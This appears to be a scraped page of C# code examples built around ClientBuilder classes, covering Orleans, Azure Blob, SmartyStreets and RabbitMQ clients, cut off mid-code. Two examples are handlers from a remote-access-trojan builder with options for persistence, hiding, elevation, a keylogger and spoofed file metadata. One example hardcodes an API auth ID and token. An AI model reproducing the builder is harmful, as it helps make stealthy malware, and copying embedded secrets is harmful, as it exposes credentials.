Esempio n. 1
0
        /// <summary>
        /// Sets a delegate to create a REST client instance.
        /// </summary>
        /// <param name="builder">A REST client builder delegate.</param>
        /// <returns>
        /// An <see cref="T:System.IDisposable"/> to reset the default REST client builder.
        /// </returns>
        public static IDisposable UseBuilder(ClientBuilder builder)
        {
            if (builder == null)
            {
                throw new ArgumentNullException("builder");
            }

            currentBuilder = builder;

            return new BuilderResetter();
        }
Esempio n. 2
0
        public void RegisterDevice(string host, string port)
        {
            LoggerManager.Log.TraceMessage(string.Format("Registering the device {0}:{1}", host, port));
            DeviceCredentials dc = ConfigManager.Configuration.GetPairedDevice(host, port);
            if (dc == null)
            {
                IAuditService s = new ClientBuilder<IAuditService>("AuditService", port, host).Proxy;
                LoggerManager.Log.TraceMessage(string.Format("Getting the Device info from {0}:{1}", host, port));
                Device hostDevice = s.GetDeviceInfo();
                if (hostDevice != null)
                {
                    LoggerManager.Log.TraceMessage(string.Format("Exchanging public keys with {0}:{1}", host, port));
                    string hostKey = s.ExchangeKeys(ConfigManager.Configuration.CurrentDevice, ConfigManager.Configuration.PublicKey);
                    string pwd = Membership.GeneratePassword(Constants.PWD_LENGTH, Constants.NON_ALPHANUMERIC_CHARS_CNT);
                    LoggerManager.Log.TraceMessage(string.Format("Setting the device password on {0}:{1}", host, port));
                    if (s.SetPassword(ConfigManager.Configuration.CurrentDevice, null, AsymmetricEncryption.EncryptText(pwd, Constants.KEY_SIZE, hostKey)))
                    {
                        DeviceCredentials newDc = new DeviceCredentials();
                        newDc.PairedDevice = hostDevice;
                        newDc.PublicKey = hostKey;
                        newDc.Password = pwd;
                        newDc.AccessLevel = AccessLevels.PowerfulPairedDevice;

                        ConfigManager.Configuration.AddOrUpdatePairedDevice(newDc);
                        ConfigManager.Configuration.SetServer(newDc);
                    }
                    else
                    {
                        LoggerManager.Log.TraceMessage(string.Format("Unable to set the device password on {0}:{1}", host, port));
                    }
                }
                else
                {
                    LoggerManager.Log.TraceMessage(string.Format("ERROR: cannot get the Device info from {0}:{1}", host, port));
                }

            }
            else
            {
                LoggerManager.Log.TraceMessage(string.Format("The device {0}:{1} is already registered. No need to retry", host, port));
            }
            LoggerManager.Log.TraceMessage("Device registration finished");
        }
Esempio n. 3
0
        /// <summary>
        /// 获取Orleans服务集群客户端
        /// </summary>
        /// <param name="clusterId">Orleans集群的唯一ID</param>
        /// <param name="serviceId">Orleans服务的唯一ID</param>
        /// <param name="connectionString">Orleans数据库连接串</param>
        /// <returns>Orleans服务集群客户端</returns>
        public static IClusterClient Fetch(string clusterId, string serviceId, string connectionString)
        {
            return(_cache.GetValue(String.Format("{0}*{1}", clusterId, serviceId), () =>
            {
                IClusterClient value = new ClientBuilder()
                                       .Configure <ConnectionOptions>(options => { options.ProtocolVersion = NetworkProtocolVersion.Version2; })
                                       .Configure <ClusterOptions>(options =>
                {
                    options.ClusterId = clusterId;
                    options.ServiceId = serviceId;
                })
                                       .UseAdoNetClustering(options =>
                {
                    options.ConnectionString = connectionString;
#if PgSQL
                    options.Invariant = "Npgsql";
#endif
#if MsSQL
                    options.Invariant = "System.Data.SqlClient";
#endif
#if MySQL
                    options.Invariant = "MySql.Data.MySqlClient";
#endif
#if ORA
                    options.Invariant = "Oracle.DataAccess.Client";
#endif
                })
                                       .ConfigureApplicationParts(parts =>
                {
                    /*
                     * 装配Actor插件
                     * 插件程序集都应该统一采用"*.Contract.dll"、"*.Plugin.dll"作为文件名的后缀
                     * 插件程序集都应该被部署到本服务容器的执行目录下
                     */
                    foreach (string fileName in Directory.GetFiles(Phenix.Core.AppRun.BaseDirectory, "*.Contract.dll"))
                    {
                        parts.AddApplicationPart(Assembly.LoadFrom(fileName)).WithReferences().WithCodeGeneration();
                    }
                    foreach (string fileName in Directory.GetFiles(Phenix.Core.AppRun.BaseDirectory, "*.Plugin.dll"))
                    {
                        parts.AddApplicationPart(Assembly.LoadFrom(fileName)).WithReferences().WithCodeGeneration();
                    }
                })
                                       .AddSimpleMessageStreamProvider(StreamProviderExtension.StreamProviderName)
                                       .AddOutgoingGrainCallFilter(context =>
                {
                    if (context.Grain is ISecurityContext)
                    {
                        Identity currentIdentity = Identity.CurrentIdentity;
                        if (currentIdentity != null)
                        {
                            RequestContext.Set(ContextConfig.CurrentIdentityName, currentIdentity.Name);
                            RequestContext.Set(ContextConfig.CurrentIdentityCultureName, currentIdentity.CultureName);
                        }
                    }

                    if (context.Grain is ITraceLogContext)
                    {
                        long traceKey;
                        if (RequestContext.Get(ContextConfig.traceKey) == null)
                        {
                            traceKey = Phenix.Core.Data.Database.Default.Sequence.Value;
                            RequestContext.Set(ContextConfig.traceKey, traceKey);
                        }
                        else
                        {
                            traceKey = (long)RequestContext.Get(ContextConfig.traceKey);
                        }

                        int traceOrder = RequestContext.Get(ContextConfig.traceOrder) != null ? (int)RequestContext.Get(ContextConfig.traceOrder) + 1 : 0;
                        RequestContext.Set(ContextConfig.traceOrder, traceOrder);

                        Task.Run(() => EventLog.Save(context.InterfaceMethod, Phenix.Core.Reflection.Utilities.JsonSerialize(context.Arguments), traceKey, traceOrder));
                        try
                        {
                            return context.Invoke();
                        }
                        catch (Exception ex)
                        {
                            Task.Run(() => EventLog.Save(context.InterfaceMethod, Phenix.Core.Reflection.Utilities.JsonSerialize(context.Arguments), traceKey, traceOrder, ex));
                            throw;
                        }
                    }

                    return context.Invoke();
                })
                                       .Build();
                AsyncHelper.RunSync(() => value.Connect());
                return value;
            }));
        }
Esempio n. 4
0
        public void ClientBuilder_NullConfigurationTest()
        {
            var builder = new ClientBuilder();

            Assert.Throws <ArgumentNullException>(() => builder.UseConfiguration(null));
        }
Esempio n. 5
0
        private void btnBuild_Click(object sender, EventArgs e)
        {
            if (!string.IsNullOrEmpty(txtHost.Text) && !string.IsNullOrEmpty(txtPort.Text) && !string.IsNullOrEmpty(txtDelay.Text) &&                      // Connection Information
                !string.IsNullOrEmpty(txtPassword.Text) && !string.IsNullOrEmpty(txtMutex.Text) &&                                                         // Client Options
                !chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrEmpty(txtInstallname.Text) && !string.IsNullOrEmpty(txtInstallsub.Text)) &&  // Installation Options
                !chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrEmpty(txtRegistryKeyName.Text)))                                             // Persistence and Registry Features
            {
                string output = string.Empty;
                string icon   = string.Empty;

                if (chkIconChange.Checked)
                {
                    using (OpenFileDialog ofd = new OpenFileDialog())
                    {
                        ofd.Filter      = "Icons *.ico|*.ico";
                        ofd.Multiselect = false;
                        if (ofd.ShowDialog() == DialogResult.OK)
                        {
                            icon = ofd.FileName;
                        }
                    }
                }

                using (SaveFileDialog sfd = new SaveFileDialog())
                {
                    sfd.Filter           = "EXE Files *.exe|*.exe";
                    sfd.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
                    sfd.FileName         = "Client-built.exe";
                    if (sfd.ShowDialog() == DialogResult.OK)
                    {
                        output = sfd.FileName;
                    }
                }

                if (!string.IsNullOrEmpty(output) && (!chkIconChange.Checked || !string.IsNullOrEmpty(icon)))
                {
                    try
                    {
                        string[] asmInfo = null;
                        if (chkChangeAsmInfo.Checked)
                        {
                            if (!IsValidVersionNumber(txtProductVersion.Text) || !IsValidVersionNumber(txtFileVersion.Text))
                            {
                                MessageBox.Show("Please enter a valid version number!\nExample: 1.0.0.0", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
                                return;
                            }

                            asmInfo    = new string[8];
                            asmInfo[0] = txtProductName.Text;
                            asmInfo[1] = txtDescription.Text;
                            asmInfo[2] = txtCompanyName.Text;
                            asmInfo[3] = txtCopyright.Text;
                            asmInfo[4] = txtTrademarks.Text;
                            asmInfo[5] = txtOriginalFilename.Text;
                            asmInfo[6] = txtProductVersion.Text;
                            asmInfo[7] = txtFileVersion.Text;
                        }

                        ClientBuilder.Build(output, txtHost.Text, txtPassword.Text, txtInstallsub.Text,
                                            txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked,
                                            chkStartup.Checked, chkHide.Checked, int.Parse(txtPort.Text), int.Parse(txtDelay.Text),
                                            GetInstallPath(), chkElevation.Checked, icon, asmInfo, Application.ProductVersion);

                        MessageBox.Show("Successfully built client!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
                    }
                    catch (FileLoadException)
                    {
                        MessageBox.Show("Unable to load the Client Assembly Information.\nPlease re-build the Client.", "Error loading Client", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    }
                    catch (Exception ex)
                    {
                        MessageBox.Show(string.Format("An error occurred!\n\nError Message: {0}\nStack Trace:\n{1}", ex.Message, ex.StackTrace), "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    }
                }
            }
            else
            {
                MessageBox.Show("Please fill out all required fields!", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
            }
        }
Esempio n. 6
0
 protected override Task <BlockBlobClient> GetResourceClientAsync(
     BlobContainerClient container,
     int resourceLength        = default,
     bool createResource       = default,
     string resourceName       = null,
     BlobClientOptions options = null)
 {
     container = InstrumentClient(new BlobContainerClient(container.Uri, Tenants.GetNewSharedKeyCredentials(), options ?? ClientBuilder.GetOptions()));
     return(Task.FromResult(InstrumentClient(container.GetBlockBlobClient(resourceName ?? GetNewResourceName()))));
 }
Esempio n. 7
0
        public int validate_USPSAddress(string Street, string Secondary, string City, string State, string Zip)
        {
            /*
             * Return codes:
             *  0 Good USPS address
             * -1 SmartyException exception
             * -2 IOException exception
             *  1 Address entered does not match USPS
             *  2 State returned does not match the Zip code entered
             *  3 Zip code returned does not match Zip code entered
             *  4 City entered does not match SmartyStreets database
             */
            var authId    = "4d6ae97b-1625-654a-d23d-f141e4b24dd3";
            var authToken = "AjHklAjoKpJ67yj9r5uV";

            //For PRODUCTION store keys out side of code; environment variables or DB
            //var authId = Environment.GetEnvironmentVariable("SMARTY_AUTH_ID");
            //var authToken = Environment.GetEnvironmentVariable("SMARTY_AUTH_TOKEN");

            var client = new ClientBuilder(authId, authToken)
                         .BuildUsStreetApiClient();

            // Documentation for input fields can be found at:
            // https://smartystreets.com/docs/us-street-api#input-fields

            var lookup = new Lookup
            {
                Street        = Street,
                Secondary     = Secondary,
                City          = City,
                State         = State,
                ZipCode       = Zip,
                MaxCandidates = 1,
                MatchStrategy = Lookup.STRICT  // The API will ONLY return candidates that are valid USPS addresses.
            };

            try
            {
                client.Send(lookup);
            }
            // for PRODUCTION exception messages should be sent to a log that is monitored
            catch (SmartyException ex)
            {
                MessageBox.Show(ex.Message);
                Console.WriteLine(ex.Message);
                Console.WriteLine(ex.StackTrace);
                return(-1);
            }
            catch (System.IO.IOException ex)
            {
                Console.WriteLine(ex.StackTrace);
                MessageBox.Show(ex.Message);
                return(-2);
            }

            var candidates = lookup.Result;

            if (candidates.Count == 0)
            {
                Console.WriteLine("No candidates. This means the address is not valid.");
                return(1);
            }

            var firstCandidate = candidates[0];

            if (State != firstCandidate.Components.State)
            {
                return(2);  //State returned does not match the Zip code entered
            }

            if ((firstCandidate.Components.Plus4Code.Length > 0) && (Zip.Length == 9))
            {
                if (Zip != firstCandidate.Components.ZipCode + firstCandidate.Components.Plus4Code)
                {
                    return(3);  //Zip code entered does not match City/State
                }
            }
            else if (Zip != firstCandidate.Components.ZipCode)
            {
                return(3);  //Zip code entered does not match City/State
            }

            if (City.ToLower() != firstCandidate.Components.CityName.ToLower())
            {
                return(4);  //City entered does not match SmartyStreets database
            }

            Console.WriteLine("Address is valid. (There is at least one candidate)\n");
            Console.WriteLine("ZIP Code: " + firstCandidate.Components.ZipCode);
            Console.WriteLine("City: " + firstCandidate.Components.CityName);
            Console.WriteLine("State: " + firstCandidate.Components.State);

            return(0);
        }
Esempio n. 8
0
        public void ClientBuilder_NullConfigurationTest()
        {
            var builder = ClientBuilder.CreateDefault().ConfigureServices(RemoveConfigValidators);

            Assert.Throws <ArgumentNullException>(() => builder.UseConfiguration(null));
        }
Esempio n. 9
0
        static void Main(string[] args)
        {
            // First, configure and start a local silo
            var siloConfig = ClusterConfiguration.LocalhostPrimarySilo();
            var props      = new Dictionary <string, string> {
                { "UseJsonFormat", "true" }
            };
            IProviderConfiguration pConfig = new ProviderConfiguration(props, "Orleans.Storage.DynamoDBStorageProvider", "DynamoDBStorage");
            var catConfig = new ProviderCategoryConfiguration("Storage")
            {
                Providers = new Dictionary <string, IProviderConfiguration> {
                    { "DynamoDBStorage", pConfig }
                }
            };

            siloConfig.Globals.ProviderConfigurations.Add("Storage", catConfig);
            //siloConfig.Add.AddMemoryStorageProvider();
            //siloConfig.LoadFromFile("DevTestServerConfiguration.xml");
            var silo = new SiloHost("TestSilo", siloConfig);

            //silo.ConfigFileName = "DevTestServerConfiguration.xml";

            silo.InitializeOrleansSilo();
            silo.StartOrleansSilo();

            Console.WriteLine("Silo started.");

            // Then configure and connect a client.
            var clientConfig = ClientConfiguration.LocalhostSilo();
            var client       = new ClientBuilder().UseConfiguration(clientConfig).Build();

            client.Connect().Wait();

            Console.WriteLine("Client connected.");

            //
            // This is the place for your test code.
            //
            var usr1 = new User()
            {
                Id = Guid.Parse("8ac512e4-a618-4ba0-b69b-c3051d53888a"), Nickname = "eugene"
            };
            var usr2 = new User()
            {
                Id = Guid.Parse("8ac512e4-a618-4ba0-b69b-c3051d53888b"), Nickname = "petro"
            };

            var usr1Grain = client.GetGrain <IUserGrain>(usr1.Id);
            var usr2Grain = client.GetGrain <IUserGrain>(usr2.Id);

            usr1Grain.Create(usr1).Wait();
            usr2Grain.Create(usr2).Wait();

            var chatRoom = new ChatRoom()
            {
                Id = Guid.Parse("8ac512e4-a618-4ba0-b69b-c3051d53888c"), Name = "eugene&petro"
            };
            var chatRoomGrain = client.GetGrain <IChatRoomGrain>(chatRoom.Id);

            chatRoomGrain.Create(chatRoom).Wait();

            chatRoomGrain.Join(usr1Grain, usr2Grain).Wait();

            SubscribeToMessageNotifications(client, chatRoom, chatRoomGrain);

            usr1Grain.SendMsg("Hi, group!", chatRoomGrain).Wait();

            var msgs = chatRoomGrain.GetMessages().Result;

            Console.WriteLine("\nPress Enter to terminate...");
            Console.ReadLine();

            // Shut down
            client.Close();
            silo.ShutdownOrleansSilo();
        }
Esempio n. 10
0
        private static async Task <IClusterClient> StartClientWithRetries(int initializeAttemptsBeforeFailing = -1)
        {
            int            attempt = 0;
            IClusterClient client;

            while (true)
            {
                try
                {
                    IConfiguration clientConfig = new ConfigurationBuilder()
                                                  .SetBasePath(Directory.GetCurrentDirectory())
                                                  .AddIniFile(Path.Combine("init", "ClientConfig.ini"), optional: false, reloadOnChange: false)
                                                  .Build();

                    IConfiguration servicesConfig = new ConfigurationBuilder()
                                                    .SetBasePath(Directory.GetCurrentDirectory())
                                                    .AddIniFile(Path.Combine("init", "ServicesConfig.ini"), optional: false, reloadOnChange: false)
                                                    .Build();

                    // var ip = new IPEndPoint(IPAddress.Parse("127.0.0.1"), 40000);
                    // var gateUri = ip.ToGatewayUri();
                    // var a = ConfigurationBinder.Get<StaticGatewayListProviderOptions>(servicesConfig.GetSection("StaticGatewayListProviderOptions"));
                    // var aaa = TypeDescriptor.GetConverter(typeof(Uri));
                    // var u = aaa.ConvertTo(gateUri, typeof(string));
                    // var b = aaa.CanConvertFrom(typeof(string));
                    // var c = (Uri)aaa.ConvertFrom("gwy.tcp://localhost:40000/0");
                    // var c2 = (Uri)aaa.ConvertFrom("gwy.tcp://10.0.113.30:40000/0");

                    client = new ClientBuilder()
                             // .UseLocalhostClustering(40000)
                             // .UseStaticClustering()
                             .UseConsulClustering(op =>
                    {
                        op.Address = new Uri("http://127.0.0.1:8500");
                    })
                             // .UseStaticClustering(options =>
                             // {
                             //    var biubhi=options.Gateways;
                             // })
                             .AddClusterConnectionLostHandler(OnLost)
                             .AddSimpleMessageStreamProvider("SMSProvider")
                             .Configure <ClusterOptions>(clientConfig.GetSection("ClusterOptions"))
                             .Configure <StaticGatewayListProviderOptions>(servicesConfig.GetSection("StaticGatewayListProviderOptions"))
                             .Configure <ConsulClusteringClientOptions>(servicesConfig.GetSection("ConsulClusteringClientOptions"))
                             .ConfigureApplicationParts(parts => parts
                                                        .AddFromAppDomain()
                                                        .WithReferences())
                             .ConfigureLogging(logging => logging
                                               .AddFilter("Orleans", LogLevel.Warning)
                                               .AddFilter("Orleans.Runtime.Management", LogLevel.Warning)
                                               .AddFilter("Orleans.Runtime.SiloControl", LogLevel.Warning)
                                               .AddFilter("Runtime", LogLevel.Warning)
                                               .SetMinimumLevel(LogLevel.None)
                                               .AddConsole())
                             .Build();

                    await client.Connect();

                    Console.WriteLine("Client successfully connect to silo host");
                    break;
                }
                catch (OrleansException ex)
                {
                    attempt++;
                    Console.WriteLine($"重试 {attempt} of {initializeAttemptsBeforeFailing} 链接失败.");
                    if (initializeAttemptsBeforeFailing > 0 && (attempt > initializeAttemptsBeforeFailing))
                    {
                        throw ex;
                    }
                    await Task.Delay(TimeSpan.FromSeconds(1));
                }
            }

            return(client);
        }
Esempio n. 11
0
        public List <EntityClient> Gets()
        {
            ClientBuilder builder = new ClientBuilder();

            return(Connection.GetList("User_Gets", builder.Build));
        }
Esempio n. 12
0
        public EntityClient Get(int id)
        {
            ClientBuilder builder = new ClientBuilder();

            return(Connection.GetSingle <EntityClient>("User_Get", builder.Build, id));
        }
 protected override async Task <IDisposingContainer <BlobContainerClient> > GetDisposingContainerAsync(BlobServiceClient service = null, string containerName = null)
 => await ClientBuilder.GetTestContainerAsync(service, containerName);
Esempio n. 14
0
        protected Task MakeTheRequest(IDateTimeProvider dateTimeProvider)
        {
            var client = new ClientBuilder().WithDateTimeProvider(dateTimeProvider).Build();

            return(this.MakeTheRequest(client));
        }
Esempio n. 15
0
        protected Task MakeTheRequest()
        {
            var client = new ClientBuilder().Build();

            return(this.MakeTheRequest(client));
        }
        private void btnBuild_Click(object sender, EventArgs e)
        {
            if (!CheckInput())
            {
                MessageBox.Show("Please fill out all required fields!", "Build failed", MessageBoxButtons.OK,
                                MessageBoxIcon.Information);
                return;
            }

            string output   = string.Empty;
            string icon     = string.Empty;
            string password = txtPassword.Text;

            if (password.Length < 3)
            {
                MessageBox.Show("Please enter a secure password with more than 3 characters.",
                                "Please enter a secure password", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                return;
            }

            if (chkIconChange.Checked)
            {
                using (OpenFileDialog ofd = new OpenFileDialog())
                {
                    ofd.Title       = "Choose Icon";
                    ofd.Filter      = "Icons *.ico|*.ico";
                    ofd.Multiselect = false;
                    if (ofd.ShowDialog() == DialogResult.OK)
                    {
                        icon = ofd.FileName;
                    }
                }
            }

            using (SaveFileDialog sfd = new SaveFileDialog())
            {
                sfd.Title            = "Save Client as";
                sfd.Filter           = "Executables *.exe|*.exe";
                sfd.RestoreDirectory = true;
                sfd.FileName         = "Client-built.exe";
                if (sfd.ShowDialog() != DialogResult.OK)
                {
                    return;
                }
                output = sfd.FileName;
            }

            if (string.IsNullOrEmpty(output))
            {
                MessageBox.Show("Please choose a valid output path.", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Information);
                return;
            }

            if (chkIconChange.Checked && string.IsNullOrEmpty(icon))
            {
                MessageBox.Show("Please choose a valid icon path.", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Information);
                return;
            }

            try
            {
                string[] asmInfo = null;
                if (chkChangeAsmInfo.Checked)
                {
                    if (!FormatHelper.IsValidVersionNumber(txtProductVersion.Text) ||
                        !FormatHelper.IsValidVersionNumber(txtFileVersion.Text))
                    {
                        MessageBox.Show("Please enter a valid version number!\nExample: 1.0.0.0", "Build failed",
                                        MessageBoxButtons.OK, MessageBoxIcon.Information);
                        return;
                    }

                    asmInfo    = new string[8];
                    asmInfo[0] = txtProductName.Text;
                    asmInfo[1] = txtDescription.Text;
                    asmInfo[2] = txtCompanyName.Text;
                    asmInfo[3] = txtCopyright.Text;
                    asmInfo[4] = txtTrademarks.Text;
                    asmInfo[5] = txtOriginalFilename.Text;
                    asmInfo[6] = txtProductVersion.Text;
                    asmInfo[7] = txtFileVersion.Text;
                }

                ClientBuilder.Build(output, txtTag.Text, HostHelper.GetRawHosts(_hosts), password, txtInstallsub.Text,
                                    txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked, chkStartup.Checked,
                                    chkHide.Checked, chkKeylogger.Checked, int.Parse(txtDelay.Text), GetInstallPath(), icon, asmInfo,
                                    Application.ProductVersion);

                MessageBox.Show("Successfully built client!", "Build Success", MessageBoxButtons.OK,
                                MessageBoxIcon.Information);
            }
            catch (FileLoadException)
            {
                MessageBox.Show("Unable to load the Client Assembly Information.\nPlease re-build the Client.",
                                "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
            catch (Exception ex)
            {
                MessageBox.Show(
                    string.Format("An error occurred!\n\nError Message: {0}\nStack Trace:\n{1}", ex.Message,
                                  ex.StackTrace), "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }
Esempio n. 17
0
        public void ClientBuilder_DoubleSpecifyConfigurationTest()
        {
            var builder = ClientBuilder.CreateDefault().ConfigureServices(RemoveConfigValidators).UseConfiguration(new ClientConfiguration());

            Assert.Throws <InvalidOperationException>(() => builder.UseConfiguration(new ClientConfiguration()));
        }
Esempio n. 18
0
        public static void Run()
        {
            // You don't have to store your keys in environment variables, but we recommend it.
            var authId    = Environment.GetEnvironmentVariable("SMARTY_AUTH_ID");
            var authToken = Environment.GetEnvironmentVariable("SMARTY_AUTH_TOKEN");
            var client    = new ClientBuilder(authId, authToken).BuildUsStreetApiClient();
            var batch     = new Batch();

            // Documentation for input fields can be found at:
            // https://smartystreets.com/docs/us-street-api#input-fields

            var addressWithStrictStrategy = new Lookup
            {
                Street        = "691 W 1150 S",
                City          = "provo",
                State         = "utah",
                MatchStrategy = Lookup.STRICT
            };

            var addressWithRangeStrategy = new Lookup
            {
                Street        = "693 W 1150 S",
                City          = "provo",
                State         = "utah",
                MatchStrategy = Lookup.RANGE
            };

            var addressWithInvalidStrategy = new Lookup
            {
                Street        = "9999 W 1150 S",
                City          = "provo",
                State         = "utah",
                MatchStrategy = Lookup.INVALID
            };

            try
            {
                batch.Add(addressWithStrictStrategy);
                batch.Add(addressWithRangeStrategy);
                batch.Add(addressWithInvalidStrategy);

                client.Send(batch);
            }
            catch (BatchFullException)
            {
                Console.WriteLine("Error. The batch is already full.");
            }
            catch (SmartyException ex)
            {
                Console.WriteLine(ex.Message);
                Console.WriteLine(ex.StackTrace);
            }
            catch (IOException ex)
            {
                Console.WriteLine(ex.StackTrace);
            }

            for (var i = 0; i < batch.Count; i++)
            {
                var candidates = batch[i].Result;

                if (candidates.Count == 0)
                {
                    Console.WriteLine("Address " + i + " is invalid.\n");
                    continue;
                }

                Console.WriteLine("Address " + i + " is valid. (There is at least one candidate)");

                foreach (var candidate in candidates)
                {
                    var components = candidate.Components;
                    var metadata   = candidate.Metadata;

                    Console.Write("\nCandidate " + candidate.CandidateIndex);
                    var match = batch[i].MatchStrategy;
                    Console.Write(" with " + match + " strategy");
                    Console.WriteLine("\nDelivery line 1: " + candidate.DeliveryLine1);
                    Console.WriteLine("Last line:       " + candidate.LastLine);
                    Console.WriteLine("ZIP Code:        " + components.ZipCode + "-" + components.Plus4Code);
                    Console.WriteLine("County:          " + metadata.CountyName);
                    Console.WriteLine("Latitude:        " + metadata.Latitude);
                    Console.WriteLine("Longitude:       " + metadata.Longitude);
                }

                Console.WriteLine();
            }
        }
        public static void Run()
        {
            var authId    = Environment.GetEnvironmentVariable("SMARTY_AUTH_ID");
            var authToken = Environment.GetEnvironmentVariable("SMARTY_AUTH_TOKEN");
            var client    = new ClientBuilder(authId, authToken).BuildUsZipCodeApiClient();

            var lookup1 = new Lookup
            {
                ZipCode = "12345"
            };

            var lookup2 = new Lookup
            {
                City  = "Phoenix",
                State = "Arizona"
            };

            var lookup3 = new Lookup("cupertino", "CA", "95014");             // You can also set these with arguments

            var batch = new Batch();

            try
            {
                batch.Add(lookup1);
                batch.Add(lookup2);
                batch.Add(lookup3);

                client.Send(batch);
            }
            catch (BatchFullException)
            {
                Console.WriteLine("Error. The batch is already full.");
            }
            catch (SmartyException ex)
            {
                Console.WriteLine(ex.Message);
                Console.WriteLine(ex.StackTrace);
            }
            catch (IOException ex)
            {
                Console.WriteLine(ex.StackTrace);
            }

            for (var i = 0; i < batch.Count; i++)
            {
                var result = batch[i].Result;
                Console.WriteLine("Lookup " + i + ":\n");

                if (result.Status != null)
                {
                    Console.WriteLine("Status: " + result.Status);
                    Console.WriteLine("Reason: " + result.Reason);
                    continue;
                }

                var cityStates = result.CityStates;
                Console.WriteLine(cityStates.Length + " City and State match" + ((cityStates.Length == 1) ? ":" : "es:"));

                foreach (var cityState in cityStates)
                {
                    Console.WriteLine("City: " + cityState.City);
                    Console.WriteLine("State: " + cityState.State);
                    Console.WriteLine("Mailable City: " + cityState.MailableCity);
                    Console.WriteLine();
                }

                var zipCodes = result.ZipCodes;
                Console.WriteLine(zipCodes.Length + " ZIP Code match" + ((cityStates.Length == 1) ? ":" : "es:"));

                foreach (var zipCode in zipCodes)
                {
                    Console.WriteLine("ZIP Code: " + zipCode.ZipCode);
                    Console.WriteLine("County: " + zipCode.CountyName);
                    Console.WriteLine("Latitude: " + zipCode.Latitude);
                    Console.WriteLine("Longitude: " + zipCode.Longitude);
                    Console.WriteLine();
                }
                Console.WriteLine("***********************************");
            }
        }
        public static IDependencyRegister AddZyRabbit(this IDependencyRegister register, ZyRabbitOptions options = null)
        {
            register
            .AddSingleton(options?.ClientConfiguration ?? ZyRabbitConfiguration.Local)
            .AddSingleton <IConnectionFactory, ConnectionFactory>(provider =>
            {
                var cfg = provider.GetService <ZyRabbitConfiguration>();
                return(new ConnectionFactory
                {
                    VirtualHost = cfg.VirtualHost,
                    UserName = cfg.Username,
                    Password = cfg.Password,
                    Port = cfg.Port,
                    HostName = cfg.Hostnames.FirstOrDefault() ?? string.Empty,
                    AutomaticRecoveryEnabled = cfg.AutomaticRecovery,
                    TopologyRecoveryEnabled = cfg.TopologyRecovery,
                    NetworkRecoveryInterval = cfg.RecoveryInterval,
                    ClientProperties = provider.GetService <IClientPropertyProvider>().GetClientProperties(cfg),
                    Ssl = cfg.Ssl
                });
            })
            .AddSingleton <IChannelPoolFactory, AutoScalingChannelPoolFactory>()
            .AddSingleton(resolver => AutoScalingOptions.Default)
            .AddSingleton <IClientPropertyProvider, ClientPropertyProvider>()
            .AddSingleton <ISerializer>(resolver => new Serialization.JsonSerializer(new Newtonsoft.Json.JsonSerializer
            {
                TypeNameAssemblyFormatHandling = TypeNameAssemblyFormatHandling.Simple,
                Formatting             = Formatting.None,
                CheckAdditionalContent = true,
                ContractResolver       = new DefaultContractResolver {
                    NamingStrategy = new CamelCaseNamingStrategy()
                },
                ObjectCreationHandling     = ObjectCreationHandling.Auto,
                DefaultValueHandling       = DefaultValueHandling.Ignore,
                TypeNameHandling           = TypeNameHandling.Auto,
                ReferenceLoopHandling      = ReferenceLoopHandling.Serialize,
                MissingMemberHandling      = MissingMemberHandling.Ignore,
                PreserveReferencesHandling = PreserveReferencesHandling.Objects,
                NullValueHandling          = NullValueHandling.Ignore
            }))
            .AddSingleton <IConsumerFactory, ConsumerFactory>()
            .AddSingleton <IChannelFactory>(resolver =>
            {
                var channelFactory = new ChannelFactory(
                    resolver.GetService <IConnectionFactory>(),
                    resolver.GetService <ZyRabbitConfiguration>(),
                    resolver.GetService <ILogger <ChannelFactory> >());
                channelFactory
                .ConnectAsync()
                .ConfigureAwait(false)
                .GetAwaiter()
                .GetResult();
                return(channelFactory);
            })
            .AddSingleton <ISubscriptionRepository, SubscriptionRepository>()
            .AddSingleton <ITopologyProvider, TopologyProvider>()
            .AddTransient <IPublisherConfigurationFactory, PublisherConfigurationFactory>()
            .AddTransient <IBasicPublishConfigurationFactory, BasicPublishConfigurationFactory>()
            .AddTransient <IConsumerConfigurationFactory, ConsumerConfigurationFactory>()
            .AddTransient <IConsumeConfigurationFactory, ConsumeConfigurationFactory>()
            .AddTransient <IExchangeDeclarationFactory, ExchangeDeclarationFactory>()
            .AddTransient <IQueueConfigurationFactory, QueueDeclarationFactory>()
            .AddSingleton <INamingConventions, NamingConventions>()
            .AddSingleton <IExclusiveLock, ExclusiveLock>()
            .AddSingleton <IBusClient, BusClient>()
            .AddSingleton <IResourceDisposer, ResourceDisposer>()
            .AddTransient <IInstanceFactory>(resolver => new InstanceFactory(resolver))
            .AddSingleton <IPipeContextFactory, PipeContextFactory>()
            .AddTransient <IExtendedPipeBuilder, PipeBuilder>(resolver => new PipeBuilder(resolver))
            .AddSingleton <IPipeBuilderFactory>(provider => new PipeBuilderFactory(provider));

            var clientBuilder = new ClientBuilder();

            options?.Plugins?.Invoke(clientBuilder);
            clientBuilder.DependencyInjection?.Invoke(register);
            register.AddSingleton(clientBuilder.PipeBuilderAction);
            options?.DependencyInjection?.Invoke(register);

            if (!register.IsRegistered(typeof(ILogger <>)))
            {
                register.AddSingleton(typeof(ILogger <>), typeof(Logger <>));
            }

            if (!register.IsRegistered(typeof(ILogger)))
            {
                register.AddSingleton <ILogger, NullLogger>(resolver => NullLogger.Instance);
            }

            if (!register.IsRegistered(typeof(ILoggerFactory)))
            {
                register.AddSingleton <ILoggerFactory, NullLoggerFactory>();
            }

            return(register);
        }
Esempio n. 21
0
        public static void Main(string[] args)
        {
            var siloPort    = 11111;
            int gatewayPort = 30000;
            var siloAddress = IPAddress.Loopback;

            var silo =
                new SiloHostBuilder()

                .ConfigureServices((context, services) =>
            {
                services.RemoveAll <RestClient>();

                services.AddScoped <MsvClientCtrlSDK>();
